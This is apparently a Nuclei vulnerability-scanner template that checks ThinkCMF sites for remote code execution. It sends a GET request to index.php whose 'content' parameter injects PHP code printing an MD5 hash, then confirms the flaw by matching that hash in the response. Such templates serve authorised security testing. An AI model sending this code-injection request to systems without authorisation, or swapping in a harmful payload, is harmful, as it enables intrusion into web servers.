id: thinkcmf-arbitrary-code-execution

info:
  name: ThinkCMF - Remote Code Execution
  author: pikpikcu
  severity: high
  description: ThinkCMF is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://www.shuzhiduo.com/A/l1dygr36Je/
  metadata:
    max-request: 1
  tags: thinkcmf,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "d9b2c63a497e2f30c4ad9ad083a00691"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100cc2f831a633cfb94296fa353599dd937252f449a804bb68000ae17520d25ebfc02205ed2f36db9a793c49f38eb91d54d44964a6852d3722ec59cb7886c220e7f74e4:922c64590222798bb761d5b6d8e72950